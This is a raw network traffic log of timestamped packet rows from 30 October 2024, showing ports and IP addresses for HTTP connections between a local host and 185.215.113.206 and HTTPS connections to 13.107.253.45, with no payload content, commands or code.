Oct 30, 2024 11:45:45.331139088 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.331149101 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.331151962 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.331166029 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.331170082 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.331181049 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.331182957 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.331197023 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.331202030 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.331213951 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.331216097 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.331229925 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.331245899 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.331265926 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.331268072 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.331290960 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.331322908 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.331348896 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.331363916 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.331377983 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.331388950 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.331394911 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.331403971 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.331415892 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.331435919 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.331445932 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.331460953 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.331499100 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.331504107 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.331521034 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.331608057 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.331979990 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.332041025 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.332056999 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.332072973 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.332089901 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.332097054 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.332113028 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.332118988 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.332129002 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.332130909 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.332154989 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.332160950 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.332171917 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.332175970 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.332189083 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.332190037 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.332206964 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.332215071 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.332228899 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.332232952 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.332250118 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.332251072 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.332266092 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.332282066 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.332293034 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.332315922 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.332315922 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.332340956 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.332382917 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.332413912 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.332431078 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.332448006 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.332456112 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.332464933 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.332479000 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.332504988 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.332515001 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.332529068 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.332545996 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.332551956 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.332564116 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.332571983 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.332581997 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.332585096 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.332601070 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.332604885 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.332617998 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.332618952 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.332638979 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.332705021 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.336488008 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.336502075 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.336517096 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.336543083 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.336570978 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.336594105 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.336611032 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.336651087 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.336659908 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.336677074 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.336705923 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.336719990 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.336728096 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.336738110 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.336751938 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.336752892 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.336781025 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.336931944 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.337022066 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.337059975 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.337075949 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.337099075 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.337116003 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.337117910 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.337132931 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.337148905 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.337150097 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.337166071 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.337173939 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.337182045 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.337198019 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.337198019 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.337213993 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.337219000 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.337238073 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.337246895 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.337253094 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.337265015 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.337281942 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.337295055 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.337301970 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.337311029 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.337326050 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.337327957 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.337349892 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.337377071 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.337430000 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.337443113 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.337459087 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.337487936 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.337497950 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.337502956 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.337515116 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.337538958 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.337543964 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.337563038 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.337567091 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.337594032 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.337610006 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.337625980 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.337635040 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.337641954 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.337658882 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.337662935 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.337673903 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.337676048 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.337690115 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.337699890 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.337706089 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.337714911 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.337724924 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.337728024 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.337742090 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.337747097 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.337760925 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.337785006 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.337790012 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.337802887 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.337824106 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.337833881 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.337848902 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.337850094 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.337866068 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.337874889 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.337881088 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.337891102 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.337908030 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.337918997 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.337924004 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.337933064 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.337939978 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.337959051 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.337984085 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.338000059 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.338022947 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.338038921 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.338041067 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.338077068 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.338088036 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.338104963 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.338120937 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.338138103 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.338154078 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.338161945 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.338181019 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.338195086 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.350682974 CET	443	49990	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:45.351187944 CET	49990	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:45.351252079 CET	443	49990	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:45.351641893 CET	49990	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:45.351655960 CET	443	49990	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:45.361219883 CET	443	49988	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:45.361311913 CET	443	49988	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:45.361464977 CET	49988	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:45.361509085 CET	49988	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:45.361538887 CET	443	49988	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:45.361557007 CET	49988	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:45.361566067 CET	443	49988	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:45.364025116 CET	49993	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:45.364048958 CET	443	49993	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:45.364181042 CET	49993	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:45.364306927 CET	49993	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:45.364326000 CET	443	49993	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:45.380884886 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.380933046 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.380948067 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.380963087 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.380983114 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.381000042 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.408061028 CET	443	49989	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:45.408296108 CET	443	49989	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:45.408360958 CET	49989	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:45.408581018 CET	49989	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:45.408598900 CET	443	49989	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:45.408649921 CET	49989	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:45.408657074 CET	443	49989	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:45.411030054 CET	49994	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:45.411051035 CET	443	49994	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:45.411358118 CET	49994	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:45.411554098 CET	49994	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:45.411561012 CET	443	49994	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:45.442461967 CET	443	49991	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:45.442852974 CET	49991	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:45.442864895 CET	443	49991	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:45.443355083 CET	49991	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:45.443360090 CET	443	49991	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:45.445702076 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.445727110 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.445741892 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.445755959 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.445772886 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.445791960 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.445943117 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.445960045 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.445976019 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.445991039 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.446008921 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.446016073 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.446023941 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.446033001 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.446059942 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.446060896 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.446083069 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.446084023 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.446099043 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.446105003 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.446120977 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.446120977 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.446137905 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.446142912 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.446155071 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.446163893 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.446177959 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.446181059 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.446197033 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.446197987 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.446224928 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.446240902 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.446257114 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.446266890 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.446274996 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.446290016 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.446295977 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.446306944 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.446314096 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.446331024 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.446337938 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.446352959 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.446357012 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.446381092 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.446397066 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.446398020 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.446414948 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.446420908 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.446430922 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.446444035 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.446456909 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.446460009 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.446484089 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.446496964 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.446521997 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.446537971 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.446537971 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.446557999 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.446563005 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.446582079 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.446587086 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.446599007 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.446604967 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.446615934 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.446624041 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.446640968 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.446640968 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.446655989 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.446660042 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.446676970 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.446692944 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.446700096 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.446718931 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.446721077 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.446736097 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.446747065 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.446754932 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.446765900 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.446770906 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.446775913 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.446789026 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.446796894 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.446805000 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.446815968 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.446821928 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.446829081 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.446839094 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.446847916 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.446865082 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.446867943 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.446876049 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.446882963 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.446899891 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.446903944 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.446913004 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.446922064 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.446939945 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.446943045 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.446952105 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.446959019 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.446974039 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.446983099 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.446993113 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.447007895 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.447010040 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.447026014 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.447033882 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.447057009 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.447272062 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.447288036 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.447304010 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.447334051 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.447341919 CET	49888	80	192.168.2.6	185.215.113.206
